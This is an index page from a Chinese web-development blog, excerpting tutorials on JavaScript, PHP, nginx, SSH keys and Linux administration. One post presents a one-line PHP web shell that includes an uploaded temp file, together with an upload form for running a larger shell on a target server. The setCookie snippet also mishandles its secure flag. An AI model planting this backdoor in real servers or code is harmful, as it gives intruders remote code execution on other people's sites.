预览模式: 普通 | 列表

JS常用代码片段集合

 JS实现String#repeat

var a = new Array(10+1).join('-');

绑定函数的this指针(scope)

function bind(func, obj)
{
	return function(){
		func.apply(obj, arguments);
	};
}

var obj = {
	name : "WEB应用开发",
	url  : "http://www.zeroplace.cn"
};

var func = bind(function(param){
	alert(this.name + " " + this.url + " " + param);
}, obj);

func("很不错的网站");

 获取和设置COOKIE

function setCookie(key, value, path, domain, expires, secure)
{
	var cookie = [];

	cookie.push(key + "=" + escape(value || ""));

	if (!value) {
		expires = new Date(Date.now() - 1).toGMTString();
	}

	if (path) {
		cookie.push("path=" + path);
	}

	if (domain) {
		cookie.push("domain=" + domain);
	}

	if (expires) {
		cookie.push("expires=" + expires);
	}

	if (secure) {
		cookie.push("expires");
	}


	console.log(document.cookie = cookie.join(";"));
}


function getCookie(name)
{
	var pattern = new RegExp(name + "=(.*?)(?:;|$)");
	var arr = document.cookie.match(pattern);
	if (arr) {
		return arr[1];
	} else {
		return null;
	}
}

查看更多...

Tags: js

分类:web前端 | 固定链接 | 评论: 0 | 查看次数: 3063

另类PHP一句话小马

利用了include可以把任何文件当php来解释的特性, 当我们上传一个文件的时候,会在服务器上生成一个临时文件,而$_FILES这个变量里面正好保存了这个文件的路径,所以可以直接include进来。

<?php @include($_FILES['u']['tmp_name']);

使用方式也简单构造一个html文件写入如下代码:

	<form action="http:/a.b.c.com.cn/shell.php" method="POST" enctype="multipart/form-data">
		<input type="file" name='u'>
		<button>shell</button>
	</form>
	
	from: <a href="http://www.zeroplace.cn/">www.zeroplace.cn</a>

选择你的php大马点shell运行

我测试的时候的代码就是<?php phpinfo();保存的文件名为1.txt。

分类:网络安全 | 固定链接 | 评论: 0 | 查看次数: 6158

沧海遗著SPL之SplSubject和SplObserver

 想写一些关于SPL的东西,不知道怎么开始,就挑了个最简单的,写写SplSubject和SplObserver的使用。

提纲

1. 什么时观察者模式。

2.观察者模式用到的接口

查看更多...

Tags: spl php

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 4449

PHP文件锁测验

 PHP的锁大致是两种用法,一个是在WEB并发比较高的情况下的一些写操作可能需要加锁,这可能也是php锁最原始的使用方法。另外一种就是非阻塞的一种用法,比如已经有其它进程取得了这个锁本进程直接退出。

查看更多...

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 3310

 公司之前一直用没加密的smtp服务,上周突然要求全部换成ssl的连接方式,强制停止了不使用ssl的smtp服务,导致了原本很多使用smtp的程序不能正常工作。

有一个程序原来是用PHPMailer来发邮件的,好在PHPMailer支持ssl的smtp,我以为改下端口,加下SMTPSecure设置就可以了。事实当然没那么简单,加了下面这句代码后PHPMailer一直提示不能连接到主机。

查看更多...

Tags: php openssl

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 10740

管道实现PHP与Python相互通信

 之前在公司做项目的时候碰到了一个解23个系数的回归方程的问题,当时只记得在大学的时候听数学老师讲过回归计算,后来也就还回去了。在网上也只能找到一个Python解回归方程的代码,而我用的主语言是PHP,对Python也只略懂些语法,所以只能想办法让PHP启一个Python进程再用进程间通信的方法来解决了。

 
看看管道文件的打开规则。

查看更多...

Tags: php 管道

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 5174

php回调函数必需知道的几种方法

 php回调函数的几种方法

 
PHP回调函数用的场合还是挺多的,特别是一些用到模式的地方。这篇文章就小小的总结一下PHP的回调函数的几种形式。
 
先看下PHP手册对一个函数的介绍,因为实现调用回调函数和这个函数分不开。

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5)

call_user_func_array --  Call a user function given with an array of parameters

Description

mixed call_user_func_array ( callback function, array param_arr )

Call a user defined function given by function, with the parameters in param_arr

查看更多...

Tags: php 回调函数

分类:PHP教程 | 固定链接 | 评论: 0 | 查看次数: 9214

阿里云服务器使用体验

作为一个WEB开发者,用虚拟主机总是觉得不过瘾。使用虚拟主机有几个弊端。一个是和别人共享硬件带宽,如果有的网站占据了大量的cpu和流量,那其它的网站打开就会非常慢,直接导致了用户流失。第二个是共享IP。如果有的网站放了违规的内容被百度将IP打入黑名单了,那你的网站也就和百度说拜拜了。第三个就是配置不灵活,出了问题还要看客服的脸色。如果我们的PHP代码需要在服务器上做一些配置,抱歉不能。

之前已经推荐很多客户选择了阿里云服务器,其实主要看重的还是阿里的实力(说是国内最牛应该不过分吧)。最近自己也搞了一台感受一下。

让我也来选一下配置

查看更多...

Tags: 阿里云 服务器

分类:智慧人生 | 固定链接 | 评论: 0 | 查看次数: 3616

使用nginx搭建https服务器

最近在研究nginx,整好遇到一个需求就是希望服务器与客户端之间传输内容是加密的,防止中间监听泄露信息,但是去证书服务商那边申请证书又不合算,因为访问服务器的都是内部人士,所以自己给自己颁发证书,忽略掉浏览器的不信任警报即可。下面是颁发证书和配置过程。

 

首先确保机器上安装了openssl和openssl-devel

#yum install openssl
#yum install openssl-devel

然后就是自己颁发证书给自己

#cd /usr/local/nginx/conf
#openssl genrsa -des3 -out server.key 1024
#openssl req -new -key server.key -out server.csr
#openssl rsa -in server.key -out server_nopwd.key
#openssl x509 -req -days 365 -in server.csr -signkey server_nopwd.key -out server.crt

查看更多...

分类:WEB服务器 | 固定链接 | 评论: 0 | 查看次数: 4449

正确设置php-fpm和nginx防止网站被黑

 核心总结:php-fpm 子进程所使用的用户,不能是网站文件所有者。 凡是违背这个原则,则不符合最小权限原则。

 
根据生产环境不断反馈,发现不断有 php网站被挂木马,绝大部分原因是因为权限设置不合理造成。因为服务器软件,或是 php 程序中存在漏洞都是难免的,在这种情况下,如果能正确设置 Linux 网站目录权限, php 进程权限,那么网站的安全性实际上是可以得到保障的。
 
 

查看更多...

分类:网络安全 | 固定链接 | 评论: 0 | 查看次数: 5380

ssh scp 免密码方法

  ###########################

 
A为本地主机(即用于控制其他主机的机器) ;
B为远程主机(即被控制的机器Server), 假如ip为192.168.60.110;
A和B的系统都是Linux
 
在A上运行命令:
# ssh-keygen -t rsa (连续三次回车,即在本地生成了公钥和私钥,不设置密码)
# ssh root@192.168.60.110  "mkdir .ssh; chmod 0700 .ssh" (需要输入密码)
# scp ~/.ssh/id_rsa.pub  root@192.168.60.110:.ssh/id_rsa.pub (需要输入密码)
 
在B上的命令:
# touch /root/.ssh/authorized_keys2 (如果已经存在这个文件, 跳过这条)
# cat /root/.ssh/id_rsa.pub  >> /root/.ssh/authorized_keys2 (将id_rsa.pub的内容追加到 authorized_keys2 中)
 
回到A机器:
# ssh root@192.168.60.110 (不需要密码, 登录成功)
 
如果能保护好自己的私钥, 这种方法相对在shell上输入密码, 要安全一些
 

查看更多...

分类:linux教程 | 固定链接 | 评论: 0 | 查看次数: 5636

使用nginx_concat_module合并http请求

安装nginx_concat_module模块,添加combo,减少http请求

 

nginx_concat_module:http://code.taobao.org/p/nginx_concat_module/src/trunk/

 

安装方法(INSTALL文件):

 

Here are some step by step instructions.

1) Download the source code of the latest stable nginx from http://nginx.org.

$ wget http://nginx.org/download/nginx-0.7.65.tar.gz

 

2) Extract the tarball.

$ tar zvfx nginx-0.7.65.tar.gz

 

3) Change the working directory to the source of nginx.

$ cd nginx-0.7.65

 

4) Build nginx with this module and install it. You may need root privilege to

install it to the default directory.

  $ ./configure --add-module=/path/to/the/source/of/this/module

  $ make

  $ make install

 

使用

类似于 http://jser.zeroplace.cn/tester/??test.js,test1.js

分类:WEB服务器 | 固定链接 | 评论: 0 | 查看次数: 4191

 phpinfo() 
功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 
危险等级:中 

passthru() 
功能描述:允许执行一个外部程序并回显输出,类似于 exec()。 
危险等级:高 

exec() 
功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。 
危险等级:高 

system() 
功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。 
危险等级:高 

chroot() 
功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式 
PHP 时才能工作,且该函数不适用于 Windows 系统。 
危险等级:高 

scandir() 
功能描述:列出指定路径中的文件和目录。 
危险等级:中 

 

查看更多...

分类:网络安全 | 固定链接 | 评论: 0 | 查看次数: 4963

VC6下实现CHtmlView的external的方法

 源码直接打包在附件,应该说标题不对,不是CHtmlView,而是用Webbrowser2控件来搞的。VS2008下实现external相对容易一点,请看

在MFC中实现CHtmlView与Javascript交互最简单的方法

 

点击下载此文件

分类:c/c++ | 固定链接 | 评论: 0 | 查看次数: 5813

VIM的minibuffer插件安装

 首先去minibuffer官网下载插件:

http://www.vim.org/scripts/script.php?script_id=159
下载到一个minibufexpl.vim文件,下面要把该文件拷贝到vim插件目录,如何找到这个目录?
 
在vim中,输入命令":set runtimepath?"即可看到给出的几个目录,这些都是vim插件存放目录,其中第一个为仅当前用户可用的插件目录;第二个为全部用户可用的插件目录;第三个也是全部用户可用,但在更新vim版本后此目录会被覆盖。一般使用第一个和第二个目录即可。
 
现在我们将下载到的minibufexpl.vim复制到其中一个目录,在vim中使用tabe xxx即可新开标签编辑xxx文件。
分类:智慧人生 | 固定链接 | 评论: 0 | 查看次数: 3652

Chrome 开发者工具使用技巧

 JavaScript Beautifier

 

JavaScript 文件在上线前一般都会压缩下,压缩的 JavaScript 几乎没有可读性,几乎无法设定断点。在 Scripts 面板下面有个 Pretty print 按钮(这种符号 {}),点击会将压缩 JavaScript 文件格式化缩进规整的文件,这时候在设定断点可读性就大大提高了。

 

查看元素绑定了哪些事件

 

在 Elements 面板,选中一个元素,然后在右侧的 Event Listeners 下面会按类型列出这个元素相关的事件,也就是在事件捕获和冒泡阶段会经过的这个节点的事件。在 Event Listeners 右侧下拉按钮中可以选择 Selected Node Only 只列出这个节点上的事件。

 

AJAX 时中断


在 Sources 面板右侧有个 XHR Breakpoints,点右侧的 + 会添加一个 XHR 断点, 断点是根据 XHR 的 URL 匹配中断的,如果不写匹配规则会在所有 AJAX,这个匹配只是简单的字符串查找,发送前中断,在中断后再在 Call Stack 中查看时那个地方发起的 AJAX 请求。

 

查看更多...

分类:web前端 | 固定链接 | 评论: 0 | 查看次数: 3335

《C语言教程》电子书

还不错的一本PDF格式的电子书,还挺清晰的。

 点击下载此文件

 

如果是新手学习的话,可能还需要一款用来练习C语言的软件,这里有几个软件还挺不错的推荐给大家。

查看更多...

分类:下载专区 | 固定链接 | 评论: 0 | 查看次数: 3768

CentOS增加swap分区 

 今天学习安装oracle数据库安装,发现我的SWAP分区太小,不符合要求,所以要扩大交换空间,百度加上自己的实践,操作如下:

 
使用dd命令创建一个swap分区
 
[root@localhost Desktop]#dd if=/dev/zero of=/home/swap bs=1024 count=1048576
 
count的计算公式: count=SIZE*1024  (size以MB为单位)
 
这样就建立一个/home/swap的分区文件,大小为1G,接着需要格式化新建的SWAP分区:
 
[root@localhost Desktop]# mkswap /home/swap 
 
 
再用swapon命令把这个文件分区变成swap分区
 
[root@localhost Desktop]#swapon /home/swap
(关闭SWAP分区命令为:[root@localhost Desktop]#swapoff /home/swap)
 
再用free -m查看一下,可以看出swap扩大了。
 
 
 
为了能够让swap自动挂载,要修改/etc/fstab文件
 
vi /etc/fstab
 
在文件末尾加上
 
/home/swap swap swap default 0 0
这样就算重启系统,swap分区就不用手动挂载了。

Tags: CentOS

分类:linux教程 | 固定链接 | 评论: 0 | 查看次数: 6074

nginx gzip压缩

 以前没关心过nginx的gzip功能,今天仔细看了一下,有点收获。

gzip的开关指令

gzip on # 用这个指令开启nginx的gzip功能,这个没开后面的都没用。

gzip_types 用这个指令告诉nginx对哪些类型的应答启动gzip。注意: nginx默认只为text/html类型的应答启用了gzip, 所以像css,js之类的是不会被压缩的。加上后面这两个应该还是挺重要的,分别为text/css application/javascript, 毕竟jQuery可能从90K压缩到30K。

查看更多...

Tags: nginx gzip

分类:WEB服务器 | 固定链接 | 评论: 0 | 查看次数: 3112

Phpcms V9 网站迁移更换域名方法

网站在发展的过程中,很可能多次的修改域名。那么在Phpcms V9中我们要怎么进行设置呢?

请进行以下步骤的修改:

  1. 1. 修改/caches/configs/system.php里面所有和域名有关的,把以前的老域名修改为新域名就可以了。
  2. 2. 进行后台设置-》站点管理 对相应的站点的域名进行修改。
  3. 3. 更新系统缓存。点击后台右上角的“更新缓存”按钮。
  4. 4. 进入内容-》附件管理-》附件地址替换。把附件地址批量的替换为新的地址。
  5. 5. 内容-》批量更新URL 。把所有的文章的地址都更新一下。
  6. 6. 下面就是把全站都生成一次了。

再进一步,怎么转移空间,并且更换域名呢?

这种情况比更换域名更加复杂一点,涉及到数据库的迁移。

查看更多...

Tags: phpcms

分类:PHPCMS | 固定链接 | 评论: 0 | 查看次数: 3292
博主QQ: 友情链接请找我
QQ群: 灰色档案
返回顶部 关闭